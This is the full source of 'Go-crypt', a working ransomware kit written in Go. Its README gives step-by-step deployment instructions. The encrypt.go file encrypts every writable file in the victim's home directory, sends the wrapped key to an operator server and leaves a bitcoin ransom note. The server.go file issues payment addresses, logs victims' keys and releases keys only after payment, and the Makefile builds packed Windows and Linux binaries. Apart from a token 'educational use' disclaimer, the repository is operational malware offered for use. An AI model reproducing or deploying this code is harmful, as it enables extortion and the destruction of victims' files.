├── crypter ├── .gitkeep ├── decrypt-offline.go ├── decrypt.go └── encrypt.go ├── config.json ├── LICENSE ├── gen_rsa.go ├── Makefile ├── decrypt_key.go ├── README.md └── server.go /crypter/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /config.json: -------------------------------------------------------------------------------- 1 | { 2 | "Satoshi": 5189804, 3 | "Confirmations": 6 4 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 2 | Version 2, December 2004 3 | 4 | Copyright (C) 2004 Sam Hocevar 5 | 6 | Everyone is permitted to copy and distribute verbatim or modified 7 | copies of this license document, and changing it is allowed as long 8 | as the name is changed. 9 | 10 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 11 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 12 | 13 | 0. You just DO WHAT THE FUCK YOU WANT TO. -------------------------------------------------------------------------------- /gen_rsa.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/rsa" 5 | "crypto/rand" 6 | "fmt" 7 | "log" 8 | ) 9 | 10 | func main() { 11 | keys, err := rsa.GenerateKey(rand.Reader, 2048) 12 | if err != nil { 13 | log.Fatal(err) 14 | } 15 | 16 | fmt.Println("[*] Public Key") 17 | fmt.Println("Modulus (N):", keys.PublicKey.N) 18 | fmt.Println("Exponent(E):", keys.PublicKey.E) 19 | 20 | fmt.Println("[*] Private Key") 21 | fmt.Println("Private Exponent (D):", keys.D) 22 | fmt.Println("Primes (P):", keys.Primes) // there are two 23 | } -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # Go parameters 2 | 3 | GOCMD=go 4 | GOBUILD=$(GOCMD) build 5 | GOCLEAN=$(GOCMD) clean 6 | 7 | # Build environment 8 | BUILD_DIR=bins 9 | BUILD_OPTIONS=-ldflags="-s -w" 10 | SRC_DIR=crypter 11 | ARCH=386 12 | 13 | # Files to build 14 | EXECUTABLES=encrypt decrypt decrypt-offline 15 | 16 | all: clean server windows linux 17 | 18 | clean: 19 | $(GOCLEAN) 20 | rm -f $(BUILD_DIR)/* 21 | 22 | server: 23 | $(GOBUILD) decrypt_key.go 24 | $(GOBUILD) server.go 25 | 26 | windows: 27 | @$(foreach exec, $(EXECUTABLES), GOOS=windows GOARCH=$(ARCH) $(GOBUILD) $(BUILD_OPTIONS) -o $(BUILD_DIR)/$(exec)-windows-$(ARCH) $(SRC_DIR)/$(exec).go;) 28 | 29 | linux: 30 | @$(foreach exec, $(EXECUTABLES), GOOS=linux GOARCH=$(ARCH) $(GOBUILD) $(BUILD_OPTIONS) -o $(BUILD_DIR)/$(exec)-linux-$(ARCH) $(SRC_DIR)/$(exec).go;) 31 | 32 | .PHONY: clean server windows linux 33 | -------------------------------------------------------------------------------- /decrypt_key.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/hex" 5 | "crypto/rsa" 6 | "crypto/rand" 7 | "crypto/sha256" 8 | "math/big" 9 | "fmt" 10 | "log" 11 | "os" 12 | ) 13 | 14 | func fromBase10(base10 string) *big.Int { 15 | i, ok := new(big.Int).SetString(base10, 10) 16 | if !ok { 17 | panic("bad number: " + base10) 18 | } 19 | return i 20 | } 21 | 22 | var Key rsa.PrivateKey 23 | 24 | func init() { 25 | Key = rsa.PrivateKey{ 26 | PublicKey: rsa.PublicKey{ 27 | N: fromBase10(""), // yes, yes change all of those 28 | E: 65537, 29 | }, 30 | D: fromBase10(""), 31 | Primes: []*big.Int{ 32 | fromBase10(""), 33 | fromBase10(""), 34 | }, 35 | } 36 | Key.Precompute() 37 | } 38 | 39 | func main() { 40 | key, err := hex.DecodeString(os.Args[1]) 41 | if err != nil { 42 | log.Fatal(err) 43 | } 44 | aes_key, err := rsa.DecryptOAEP(sha256.New(), rand.Reader, &Key, key, nil) 45 | if err != nil { 46 | log.Fatal(err) 47 | } 48 | fmt.Printf("Key: %x\n", aes_key) 49 | } 50 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Go-crypt 2 | **Go-crypt** is a simple and ellegant ransomware that implements aes-gcm encryption, public key encryption and automated bitcoin transactions. 3 | 4 | ## Main features 5 | * Encryption - 256-bit AES-GCM with random 96-bit nonces 6 | * Security - Key is encrypted with 2048 OAEP rsa public key before being sent away. 7 | * Multi-platform - Windows and GNU/Linux 8 | * Convenience - Automatic bitcoin transactions. Unlocks at 6+ confirmations. 9 | 10 | ## How it works 11 | Blah, blah, you don't care about the details... You only want to get this thing running so here's what you need to do: 12 | 1. `go run gen_rsa.go` 13 | 1. copy values 14 | 2. modify `decrypt-key.go`, `crypter/encrypt.go` and `server.go` with those values (there are comments that tell you where those things should go) 15 | 2. modify `crypter/*crypt.go` with servers ip address (or domain if you're a cool kid) 16 | 3. modify `crypter/encrypt.go` with your email 17 | 4. modify `config.json` according to your needs 18 | 5. `make` 19 | 6. package the bins 20 | * `upx --brute bins/` 21 | 7. spin up the server 22 | * `go run server.go` 23 | 8. enjoy! 24 | 25 | ## Q&A 26 | _Can I do a test run?_ 27 | Yes, if you're on UNIX specify the `HOME` variable before the script. 28 | 29 | _B-but what if my tawget doesn't have intewnet?_ 30 | No problem, a key.txt file will be created in the exectuion dir. Ask them to give you the file then decrypt it with `decrypt_key.go` and put the key into `decrypt-offline.go` then you just compile it like you did with the other bins. 31 | 32 | _Ok, fine, how do I get my money after a successfull ransom?_ 33 | Simply sweep the private addresses from the `log.txt` file. Do I also need to teach you how to grep? 34 | 35 | _It just doesn't work!_ 36 | Try without compression. 37 | 38 | _I did, still doesn't work!_ 39 | In case you're on linux you need to generate with a machine ID with `dbus-uuidgen` and put it in `/etc/machine-id`. 40 | 41 | ## LEGAL NOTICE 42 | THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY! IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT. BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS. 43 | 44 | ## License 45 | **Go-crypt** is made with ♥ by target_ and is licensed under WTFPL - Do What the Fuck You Want to Public License, which is pretty clear on what you can and what you can't do: 46 | 0. You just DO WHAT THE FUCK YOU WANT TO. 47 | -------------------------------------------------------------------------------- /crypter/decrypt-offline.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/hex" 5 | "crypto/aes" 6 | "crypto/cipher" 7 | "path/filepath" 8 | "io/ioutil" 9 | "runtime" 10 | "errors" 11 | "fmt" 12 | "log" 13 | "os" 14 | ) 15 | 16 | func DecodeKey(encKey string) *[32]byte { 17 | key := [32]byte{} 18 | dKey, err := hex.DecodeString(encKey) 19 | if err != nil { 20 | panic(err) 21 | } 22 | copy(key[:], dKey) 23 | return &key 24 | } 25 | 26 | // Decrypt decrypts data using 256-bit AES-GCM. This both hides the content of 27 | // the data and provides a check that it hasn't been altered. Expects input 28 | // form nonce|ciphertext|tag where '|' indicates concatenation. 29 | func Decrypt(ciphertext []byte, key *[32]byte) (plaintext []byte, err error) { 30 | block, err := aes.NewCipher(key[:]) 31 | if err != nil { 32 | return nil, err 33 | } 34 | 35 | gcm, err := cipher.NewGCM(block) 36 | if err != nil { 37 | return nil, err 38 | } 39 | 40 | if len(ciphertext) < gcm.NonceSize() { 41 | return nil, errors.New("malformed ciphertext") 42 | } 43 | 44 | return gcm.Open(nil, 45 | ciphertext[:gcm.NonceSize()], 46 | ciphertext[gcm.NonceSize():], 47 | nil, 48 | ) 49 | } 50 | 51 | func visit(files *[]string) filepath.WalkFunc { 52 | return func(path string, info os.FileInfo, err error) error { 53 | if err != nil { 54 | log.Fatal(err) 55 | } 56 | if info.IsDir() { 57 | return nil 58 | } 59 | ex, err := os.Executable() 60 | if err != nil { 61 | panic(err) 62 | } 63 | if path == ex { 64 | return nil 65 | } 66 | if filepath.Base(path) == "README.txt" { 67 | return nil 68 | } 69 | if filepath.Base(path) == "encrypt.exe" { 70 | return nil 71 | } 72 | if info.Mode().Perm()&(1<<(uint(7))) == 0 { 73 | return nil 74 | } 75 | 76 | *files = append(*files, path) 77 | return nil 78 | } 79 | } 80 | 81 | var key string = "" // your aes key (in hex) 82 | 83 | func main() { 84 | var files []string 85 | var counter int = 1 86 | var home string 87 | 88 | decryptionKey := DecodeKey(key) 89 | 90 | if runtime.GOOS == "windows" { 91 | home = os.Getenv("HOMEDRIVE") + os.Getenv("HOMEPATH") 92 | if home == "" { 93 | home = os.Getenv("USERPROFILE") 94 | } 95 | } else { 96 | home = os.Getenv("HOME") 97 | } 98 | 99 | err := filepath.Walk(home, visit(&files)) 100 | if err != nil { 101 | panic(err) 102 | } 103 | for _, file := range files { 104 | fmt.Printf("\rDecrypting %d/%d: %s", counter, len(files), file) 105 | 106 | data, err := ioutil.ReadFile(file) 107 | if err != nil { 108 | continue 109 | } 110 | 111 | decrypted, err := Decrypt(data, decryptionKey) 112 | if err != nil { 113 | log.Println(err) 114 | continue 115 | } 116 | 117 | err = ioutil.WriteFile(file, decrypted, 0644) 118 | if err != nil { 119 | continue 120 | } 121 | counter++ 122 | } 123 | fmt.Printf("\n%d files decrypted.\n", len(files)) 124 | } 125 | -------------------------------------------------------------------------------- /crypter/decrypt.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "github.com/denisbrodbeck/machineid" 5 | "encoding/hex" 6 | "crypto/aes" 7 | "crypto/cipher" 8 | "path/filepath" 9 | "io/ioutil" 10 | "net/http" 11 | "net/url" 12 | "runtime" 13 | "errors" 14 | "bufio" 15 | "fmt" 16 | "log" 17 | "os" 18 | ) 19 | 20 | func DecodeKey(encKey string) *[32]byte { 21 | key := [32]byte{} 22 | dKey, err := hex.DecodeString(encKey) 23 | if err != nil { 24 | panic(err) 25 | } 26 | copy(key[:], dKey) 27 | return &key 28 | } 29 | 30 | // Decrypt decrypts data using 256-bit AES-GCM. This both hides the content of 31 | // the data and provides a check that it hasn't been altered. Expects input 32 | // form nonce|ciphertext|tag where '|' indicates concatenation. 33 | func Decrypt(ciphertext []byte, key *[32]byte) (plaintext []byte, err error) { 34 | block, err := aes.NewCipher(key[:]) 35 | if err != nil { 36 | return nil, err 37 | } 38 | 39 | gcm, err := cipher.NewGCM(block) 40 | if err != nil { 41 | return nil, err 42 | } 43 | 44 | if len(ciphertext) < gcm.NonceSize() { 45 | return nil, errors.New("malformed ciphertext") 46 | } 47 | 48 | return gcm.Open(nil, 49 | ciphertext[:gcm.NonceSize()], 50 | ciphertext[gcm.NonceSize():], 51 | nil, 52 | ) 53 | } 54 | 55 | func visit(files *[]string) filepath.WalkFunc { 56 | return func(path string, info os.FileInfo, err error) error { 57 | if err != nil { 58 | log.Fatal(err) 59 | } 60 | if info.IsDir() { 61 | return nil 62 | } 63 | ex, err := os.Executable() 64 | if err != nil { 65 | panic(err) 66 | } 67 | if path == ex { 68 | return nil 69 | } 70 | if filepath.Base(path) == "README.txt" { 71 | return nil 72 | } 73 | if filepath.Base(path) == "encrypt.exe" { 74 | return nil 75 | } 76 | if info.Mode().Perm()&(1<<(uint(7))) == 0 { 77 | return nil 78 | } 79 | 80 | *files = append(*files, path) 81 | return nil 82 | } 83 | } 84 | 85 | var server string = "example.com:1337" // do I need to tell you to change this again? 86 | 87 | func main() { 88 | var files []string 89 | var counter int = 1 90 | var home string 91 | 92 | id, err := machineid.ID() 93 | if err != nil { 94 | log.Fatal(err) 95 | } 96 | 97 | payload := url.Values{} 98 | payload.Set("id", id) 99 | 100 | resp, err := http.Get("http://" + server + "/key/?" + payload.Encode()) 101 | if err != nil { 102 | log.Fatal(err) 103 | } 104 | responseData, err := ioutil.ReadAll(resp.Body) 105 | if err != nil { 106 | log.Fatal(err) 107 | } 108 | key := string(responseData) 109 | 110 | if len(key) == 0 { 111 | fmt.Println("Please follow the instructions in the README.txt file to decrypt your files") 112 | fmt.Print("Press 'Enter' to continue") 113 | bufio.NewReader(os.Stdin).ReadBytes('\n') 114 | return 115 | } 116 | decryptionKey := DecodeKey(key) 117 | 118 | if runtime.GOOS == "windows" { 119 | home = os.Getenv("HOMEDRIVE") + os.Getenv("HOMEPATH") 120 | if home == "" { 121 | home = os.Getenv("USERPROFILE") 122 | } 123 | } else { 124 | home = os.Getenv("HOME") 125 | } 126 | 127 | err = filepath.Walk(home, visit(&files)) 128 | if err != nil { 129 | panic(err) 130 | } 131 | for _, file := range files { 132 | fmt.Printf("\rDecrypting %d/%d: %s", counter, len(files), file) 133 | 134 | data, err := ioutil.ReadFile(file) 135 | if err != nil { 136 | continue 137 | } 138 | 139 | decrypted, err := Decrypt(data, decryptionKey) 140 | if err != nil { 141 | log.Println(err) 142 | continue 143 | } 144 | 145 | err = ioutil.WriteFile(file, decrypted, 0644) 146 | if err != nil { 147 | continue 148 | } 149 | counter++ 150 | } 151 | fmt.Printf("\n%d files decrypted.\n", len(files)) 152 | } 153 | -------------------------------------------------------------------------------- /server.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/rand" 5 | "crypto/rsa" 6 | "crypto/sha256" 7 | "encoding/hex" 8 | "encoding/json" 9 | "errors" 10 | "fmt" 11 | "io/ioutil" 12 | "log" 13 | "math/big" 14 | "net/http" 15 | "net/url" 16 | "os" 17 | "strconv" 18 | 19 | "github.com/btcsuite/btcd/btcec" 20 | "github.com/btcsuite/btcd/chaincfg" 21 | "github.com/btcsuite/btcutil" 22 | "github.com/tkanos/gonfig" 23 | ) 24 | 25 | func fromBase10(base10 string) *big.Int { 26 | i, ok := new(big.Int).SetString(base10, 10) 27 | if !ok { 28 | panic("bad number: " + base10) 29 | } 30 | return i 31 | } 32 | 33 | var Key rsa.PrivateKey 34 | 35 | func init() { 36 | Key = rsa.PrivateKey{ 37 | PublicKey: rsa.PublicKey{ 38 | N: fromBase10(""), // modify this 39 | E: 65537, 40 | }, 41 | D: fromBase10(""), // this too 42 | Primes: []*big.Int{ 43 | fromBase10(""), // also this 44 | fromBase10(""), // yep, you have to take care of this too 45 | }, 46 | } 47 | Key.Precompute() 48 | } 49 | 50 | type Network struct { 51 | name string 52 | symbol string 53 | xpubkey byte 54 | xprivatekey byte 55 | } 56 | 57 | var network = map[string]Network{ 58 | "rdd": {name: "reddcoin", symbol: "rdd", xpubkey: 0x3d, xprivatekey: 0xbd}, 59 | "dgb": {name: "digibyte", symbol: "dgb", xpubkey: 0x1e, xprivatekey: 0x80}, 60 | "btc": {name: "bitcoin", symbol: "btc", xpubkey: 0x00, xprivatekey: 0x80}, 61 | "ltc": {name: "litecoin", symbol: "ltc", xpubkey: 0x30, xprivatekey: 0xb0}, 62 | } 63 | 64 | func (network Network) GetNetworkParams() *chaincfg.Params { 65 | networkParams := &chaincfg.MainNetParams 66 | networkParams.PubKeyHashAddrID = network.xpubkey 67 | networkParams.PrivateKeyID = network.xprivatekey 68 | return networkParams 69 | } 70 | 71 | func (network Network) CreatePrivateKey() (*btcutil.WIF, error) { 72 | secret, err := btcec.NewPrivateKey(btcec.S256()) 73 | if err != nil { 74 | return nil, err 75 | } 76 | return btcutil.NewWIF(secret, network.GetNetworkParams(), true) 77 | } 78 | 79 | func (network Network) ImportWIF(wifStr string) (*btcutil.WIF, error) { 80 | wif, err := btcutil.DecodeWIF(wifStr) 81 | if err != nil { 82 | return nil, err 83 | } 84 | if !wif.IsForNet(network.GetNetworkParams()) { 85 | return nil, errors.New("The WIF string is not valid for the `" + network.name + "` network") 86 | } 87 | return wif, nil 88 | } 89 | 90 | func (network Network) GetAddress(wif *btcutil.WIF) (*btcutil.AddressPubKey, error) { 91 | return btcutil.NewAddressPubKey(wif.PrivKey.PubKey().SerializeCompressed(), network.GetNetworkParams()) 92 | } 93 | 94 | type Victim struct { 95 | priv_address string 96 | address string 97 | key []byte 98 | } 99 | 100 | type PaymentInfo struct { 101 | Address string 102 | Amount string 103 | } 104 | 105 | type Configuration struct { 106 | Satoshi int 107 | Confirmations int 108 | } 109 | 110 | var configuration = Configuration{} 111 | var victims = map[string]Victim{} 112 | 113 | func handler(w http.ResponseWriter, req *http.Request) { 114 | if req.URL.Path != "/key/" { 115 | http.Error(w, "404 not found.", http.StatusNotFound) 116 | return 117 | } 118 | 119 | switch req.Method { 120 | case "POST": 121 | err := req.ParseForm() 122 | if err != nil { 123 | panic(err) 124 | } 125 | 126 | key, err := hex.DecodeString(req.FormValue("key")) 127 | if err != nil { 128 | log.Println("[err] Unable to decode key string from hex.") 129 | return 130 | } 131 | 132 | id := req.FormValue("id") 133 | if id == "" { 134 | log.Println("[err] Got an empty id.") 135 | return 136 | } 137 | log.Println("Got a new key from", id, "! Decrypting it..") 138 | 139 | aes_key, err := rsa.DecryptOAEP(sha256.New(), rand.Reader, &Key, key, nil) 140 | if err != nil { 141 | log.Println("[err] Unable to decrypt key.") 142 | return 143 | } 144 | log.Printf("Key decrypted succesfuly: %x\n", aes_key) 145 | 146 | wif, err := network["btc"].CreatePrivateKey() 147 | if err != nil { 148 | log.Fatal(err) 149 | } 150 | log.Printf("Generated private address: %s\n", wif.String()) 151 | 152 | address, err := network["btc"].GetAddress(wif) 153 | if err != nil { 154 | log.Fatal(err) 155 | } 156 | log.Printf("Generated public address: %s\n", address.EncodeAddress()) 157 | 158 | victims[id] = Victim{ 159 | wif.String(), 160 | address.EncodeAddress(), 161 | aes_key, 162 | } 163 | json.NewEncoder(w).Encode(PaymentInfo{ 164 | victims[id].address, 165 | strconv.Itoa(configuration.Satoshi), 166 | }) 167 | log.Println("Payment information sent!") 168 | 169 | f, err := os.OpenFile("log.txt", os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0600) 170 | if err != nil { 171 | log.Fatal(err) 172 | } 173 | defer f.Close() 174 | 175 | text := "ID: " + id + "\nAes Key: " + hex.EncodeToString(aes_key) + "\nPrivate Key: " + wif.String() + "\n\n" 176 | 177 | if _, err = f.WriteString(text); err != nil { 178 | log.Fatal(err) 179 | } 180 | log.Println("Successfully saved to file.") 181 | case "GET": 182 | keys, ok := req.URL.Query()["id"] 183 | if !ok || len(keys[0]) < 1 { 184 | log.Println("Url Param 'id' is missing") 185 | return 186 | } 187 | id := keys[0] 188 | 189 | if _, ok := victims[id]; !ok { 190 | log.Println("Invalid ID:", id) 191 | return 192 | } 193 | payload := url.Values{} 194 | payload.Set("confirmations", strconv.Itoa(configuration.Confirmations)) 195 | 196 | resp, err := http.Get("https://blockchain.info/q/addressbalance/" + victims[id].address + "?" + payload.Encode()) 197 | if err != nil { 198 | log.Fatal(err) 199 | } 200 | responseData, err := ioutil.ReadAll(resp.Body) 201 | if err != nil { 202 | log.Fatal(err) 203 | } 204 | amount, err := strconv.Atoi(string(responseData)) 205 | if err != nil { 206 | log.Fatal(err) 207 | } 208 | 209 | if amount >= configuration.Satoshi { 210 | log.Printf("Sending decryption key to: %s", id) 211 | fmt.Fprintf(w, hex.EncodeToString(victims[id].key)) 212 | } 213 | default: 214 | fmt.Fprintf(w, "Sorry, only GET and POST methods are supported.") 215 | } 216 | } 217 | 218 | func main() { 219 | err := gonfig.GetConf("config.json", &configuration) 220 | if err != nil { 221 | log.Fatal(err) 222 | } 223 | http.HandleFunc("/key/", handler) 224 | 225 | log.Println("Starting server and listening on port 1337") 226 | log.Fatal(http.ListenAndServe(":1337", nil)) 227 | } 228 | -------------------------------------------------------------------------------- /crypter/encrypt.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "github.com/denisbrodbeck/machineid" 5 | "encoding/hex" 6 | "encoding/json" 7 | "crypto/aes" 8 | "crypto/cipher" 9 | "crypto/rand" 10 | "crypto/rsa" 11 | "crypto/sha256" 12 | "path/filepath" 13 | "math/big" 14 | "net/http" 15 | "net/url" 16 | "io/ioutil" 17 | "runtime" 18 | "time" 19 | "fmt" 20 | "log" 21 | "os" 22 | "io" 23 | ) 24 | 25 | func fromBase10(base10 string) *big.Int { 26 | i, ok := new(big.Int).SetString(base10, 10) 27 | if !ok { 28 | panic("bad number: " + base10) 29 | } 30 | return i 31 | } 32 | 33 | var Key rsa.PublicKey 34 | 35 | func init() { 36 | Key = rsa.PublicKey{ 37 | N: fromBase10(""), // modify this 38 | E: 65537, 39 | } 40 | } 41 | 42 | func visit(files *[]string) filepath.WalkFunc { 43 | return func(path string, info os.FileInfo, err error) error { 44 | if err != nil { 45 | log.Fatal(err) 46 | } 47 | if info.IsDir() { 48 | return nil 49 | } 50 | ex, err := os.Executable() 51 | if err != nil { 52 | panic(err) 53 | } 54 | if path == ex { 55 | return nil 56 | } 57 | if filepath.Base(path) == "decrypt.exe" { 58 | return nil 59 | } 60 | if info.Mode().Perm()&(1<<(uint(7))) == 0 { // black magic to check whether we have write permissions. 61 | return nil 62 | } 63 | 64 | *files = append(*files, path) 65 | return nil 66 | } 67 | } 68 | 69 | // NewEncryptionKey generates a random 256-bit key for Encrypt() and 70 | // Decrypt(). It panics if the source of randomness fails. 71 | func NewEncryptionKey() *[32]byte { 72 | key := [32]byte{} 73 | _, err := io.ReadFull(rand.Reader, key[:]) 74 | if err != nil { 75 | panic(err) 76 | } 77 | return &key 78 | } 79 | 80 | // Encrypt encrypts data using 256-bit AES-GCM. This both hides the content of 81 | // the data and provides a check that it hasn't been altered. Output takes the 82 | // form nonce|ciphertext|tag where '|' indicates concatenation. 83 | func Encrypt(plaintext []byte, key *[32]byte) (ciphertext []byte, err error) { 84 | block, err := aes.NewCipher(key[:]) 85 | if err != nil { 86 | return nil, err 87 | } 88 | 89 | gcm, err := cipher.NewGCM(block) 90 | if err != nil { 91 | return nil, err 92 | } 93 | 94 | nonce := make([]byte, gcm.NonceSize()) 95 | _, err = io.ReadFull(rand.Reader, nonce) 96 | if err != nil { 97 | return nil, err 98 | } 99 | 100 | return gcm.Seal(nonce, nonce, plaintext, nil), nil 101 | } 102 | 103 | type PaymentInfo struct { 104 | Address string 105 | Amount string 106 | } 107 | 108 | var server string = "example.com:1337" // server address 109 | var contact string = "keksec@kek.hq" // whatever address suits you 110 | 111 | func main() { 112 | var files []string 113 | var counter int = 1 114 | var home string 115 | 116 | randomKey := NewEncryptionKey() 117 | 118 | if runtime.GOOS == "windows" { 119 | home = os.Getenv("HOMEDRIVE") + os.Getenv("HOMEPATH") 120 | if home == "" { 121 | home = os.Getenv("USERPROFILE") 122 | } 123 | } else { 124 | home = os.Getenv("HOME") 125 | } 126 | 127 | err := filepath.Walk(home, visit(&files)) 128 | if err != nil { 129 | panic(err) 130 | } 131 | for _, file := range files { 132 | fmt.Printf("\rEncrypting %d/%d: %s", counter, len(files), file) 133 | 134 | data, err := ioutil.ReadFile(file) 135 | if err != nil { 136 | continue 137 | } 138 | 139 | encrypted, err := Encrypt(data, randomKey) 140 | if err != nil { 141 | log.Println(err) 142 | continue 143 | } 144 | 145 | err = ioutil.WriteFile(file, encrypted, 0644) 146 | if err != nil { 147 | continue 148 | } 149 | counter++ 150 | } 151 | fmt.Printf("\n%d files encrypted.\n", len(files)) 152 | 153 | encryptedKey, err := rsa.EncryptOAEP(sha256.New(), rand.Reader, &Key, randomKey[:], nil) 154 | if err != nil { 155 | log.Fatal(err) 156 | } 157 | randomKey = nil // clear key 158 | 159 | id, err := machineid.ID() 160 | if err != nil { 161 | log.Fatal(err) 162 | } 163 | fmt.Println("Sending key away.") 164 | 165 | for { 166 | response, err := http.PostForm("http://" + server + "/key/", url.Values{ 167 | "key": {hex.EncodeToString(encryptedKey)}, 168 | "id": {id}, 169 | }) 170 | if err != nil { 171 | if _, err := os.Stat("key.txt"); os.IsNotExist(err) { 172 | ioutil.WriteFile("key.txt", []byte(hex.EncodeToString(encryptedKey)), 0644) 173 | } 174 | 175 | fmt.Println("Connection failed. Retrying in 5 seconds..") 176 | time.Sleep(5 * time.Second) 177 | continue 178 | } 179 | defer response.Body.Close() 180 | if _, err := os.Stat("key.txt"); !os.IsNotExist(err) { 181 | err = os.Remove("key.txt") 182 | if err != nil { 183 | log.Fatal(err) 184 | } 185 | } 186 | fmt.Println("Connection established. Payment information received..") 187 | 188 | payment := new(PaymentInfo) 189 | 190 | err = json.NewDecoder(response.Body).Decode(&payment) 191 | if err != nil { 192 | log.Fatal(err) 193 | } 194 | text := "Your files have been encrypted. Please pay " + payment.Amount + " satoshi to the following bitcoin address if you want to decrypt them: " + payment.Address + " . Use https://www.blockchain.com/btc/address/" + payment.Address + " to check the status of your payment. Once the transaction has 6+ confirmations you can run the decrpytion tool to decrypt your files. If this proccess is unclear to you, please reach out to: " + contact + ". Have a nice day!\nMachine ID: " + id 195 | 196 | if runtime.GOOS == "windows" { 197 | ioutil.WriteFile(home + "\\Desktop\\README.txt", []byte(text), 0644) 198 | } else { 199 | ioutil.WriteFile(home + "/README.txt", []byte(text), 0644) 200 | } 201 | fmt.Println("Script execution completed successfully!") 202 | 203 | break 204 | } 205 | 206 | encryptedKey = nil 207 | } 208 | --------------------------------------------------------------------------------